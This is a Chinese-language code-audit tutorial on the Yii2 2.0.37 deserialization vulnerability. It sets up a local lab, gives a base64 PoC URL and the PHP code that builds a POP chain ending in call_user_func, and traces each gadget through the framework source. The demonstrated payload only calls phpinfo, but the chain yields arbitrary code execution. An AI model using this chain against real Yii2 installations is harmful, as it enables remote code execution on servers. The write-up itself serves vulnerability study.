15-PHP代码审计——yii 2.0.37反序列化漏洞

Yii是一套基于组件、用于开发大型Web应用的高性能PHP框架。Yii2 2.0.38 之前的版本存在反序列化漏洞,如果程序内部调用了unserialize() 反序列化时,那么程序就可能存在反序列化漏洞,攻击者可通过构造特定的恶意请求执行任意命令。

 

影响版本:

yii2 v2.0.37版本以下

环境:

yii-basic-app-2.0.37.tgz

php7.0以上

poc:

http://www.yii2.com/web/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

 

在github上下载yii框架,网址:https://github.com/yiisoft/yii2/releases/tag/2.0.37

下载完成后,把yii2解压到网站的根目录下,打开浏览器访问yii项目的目录下的requirements.php文件,访问http://www.yii2.com/requirements.php

15-PHP代码审计——yii 2.0.37反序列化漏洞

如果出现以上页面再修改yii项目的config目录下的web.php文件

 

 

 

这里我是放在phpstudy的www目录是C:\phpStudy\PHPTutorial\WWW\yii2.com\config,将cookieValidationKey的值随便修改成一个字符串,这里我直接修改成123。

15-PHP代码审计——yii 2.0.37反序列化漏洞

 

 

修改完web.php文件后再访问http://www.yii2.com/web/index.php,如果出现以下页面说明安装成功

15-PHP代码审计——yii 2.0.37反序列化漏洞

 

 

安装完成后,在yii项目的controllers目录下新建一个TestController.php文件,并编写如下代码

15-PHP代码审计——yii 2.0.37反序列化漏洞

 

 

生成poc的代码,如下所示:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;
    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;
    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
//进行序列化和base64编码
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

执行以上poc代码,生成payload数据。

 

 

然后我们再访问之前提交的poc,浏览器直接回显了phpinfo页面,说明yii反序列化漏洞利用成功

15-PHP代码审计——yii 2.0.37反序列化漏洞

 

接下来从之前自定义的TestController.php文件开始分析yii的反序列化漏洞。

当TestController反序列化时会调用BaseYii类的静态方法autoload依次完成pop利用链的初始化操作(__construct),yii反序列化漏洞的利用点是BatchQueryResult类的__destruct方法。

public function __destruct(){
    // make sure cursor is closed
    $this->reset();
}

 

接着又调用了reset方法:

public function reset(){
    if ($this->_dataReader !== null) {
        $this->_dataReader->close();
    }
    $this->_dataReader = null;
    $this->_batch = null;
    $this->_value = null;
    $this->_key = null;
}

reset方法中通过_dataReader属性又调用了close方法,那么_dataReader应该指向了一个对象。

 

而前面构造的poc中_dataReader属性指向了Generator对象,但Generator类并没有close方法,当一个对象调用了不可访问的方法时会触发__call方法,因此$this->_dataReader->close()这一步实际上会调用__call方法

public function __call($method, $attributes){
    return $this->format($method, $attributes);
}

 

 

__call方法内部又调用了format方法,该方法内部调用调用了getFormatter函数和call_user_func_array函数,对php函数比较熟悉的同学应该知道,call_user_func_array是一个危险的函数,也就是说前面的__call方法其实是作为一个“跳板”,我们需要通过__call函数来间接调用call_user_func_array函数。

public function format($formatter, $arguments = array()){
    return call_user_func_array($this->getFormatter($formatter), $arguments);
}

注意:call_user_func_array函数有两个参数,其中第二个参数是不可控的,重点关注第一个参数。

 

 

先分析getFormatter函数,该函数内部先判断是否设置了formatters,然后获取formatters的内容返回,说明formatters可控的,因此在构造pop利用链时可以指定formatters属性的内容

public function getFormatter($formatter){
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }
    foreach ($this->providers as $provider) {
        if (method_exists($provider, $formatter)) {
            $this->formatters[$formatter] = array($provider, $formatter);

            return $this->formatters[$formatter];
        }
    }
    throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

 

接着就调用了call_user_func_array方法并将getFormatter函数获取到的内容以数组的方式作为参数,call_user_func_array函数会根据第一个参数的内容调用了run方法。

public function run(){
    if ($this->checkAccess) {
        call_user_func($this->checkAccess, $this->id);
    }

    /* @var $model \yii\db\ActiveRecord */
    $model = new $this->modelClass([
        'scenario' => $this->scenario,
    ]);
    $model->load(Yii::$app->getRequest()->getBodyParams(), '');
    if ($model->save()) {
        $response = Yii::$app->getResponse();
        $response->setStatusCode(201);
        $id = implode(',', array_values($model->getPrimaryKey(true)));
        $response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
    } elseif (!$model->hasErrors()) {
        throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
    }
    return $model;
}

run方法内部通过this对象拿到checkAccess和id(就是phpinfo和1),然后调用 call_user_func危险函数远程执行命令操作。

 

 

这里肯定有小伙伴很疑惑CreateAction类的run方法是如何被调用的,在这之前,先来学习一下call_user_func_array函数的用法

<?php
/**
 * Created by PhpStorm.
 * User: test
 * Date: 2021/6/6
 * Time: 15:58
 */

//Test类有成员方法和静态方法
class Test{
    public function fun1(){
        printf("---function fun1---");
    }

    public static function fun2(){
        printf("---function fun2---");
    }
}

//直接调用类中的成员方法和静态方法,需要将类名和方法以数组的方式传递
//不实例化来调用Test类的成员方法
call_user_func_array(array("Test", "fun1") , array());
//不实例化来调用Test类的静态方法
call_user_func_array(array("Test","fun2") , array());


//实例化对象调用方法,需要将对象和方法以数组的方式传递
//实例化调用方法
call_user_func_array(array(new test , "fun1") , array());

 

执行结果如下:

---function fun1------function fun2------function fun1---

 

在前面的分析中我们知道call_user_func_array函数的第一个参数是由getFormatter函数返回的,也就是说getFormatter函数其实返回的是一个数组,该数组的内容为[new CreateAction , "run"],通过将对象和成员方法以数组的形式作为参数传递给call_user_func_array函数实现调用CreateAction类的run方法,这是一个非常巧妙的利用思路。

 

最后整理一下yii反序列化漏洞的pop利用链:

15-PHP代码审计——yii 2.0.37反序列化漏洞

到此,漏洞分析完成。

 

 

参考文章:

https://blog.csdn.net/xuandao_ahfengren/article/details/111259943

https://my.oschina.net/botkenni/blog/844631

上一篇:PHP hash_pbkdf2 哈希(Hash)函数


下一篇:javascript – 在Node.js中复制Java密码哈希码(PBKDF2WithHmacSHA1)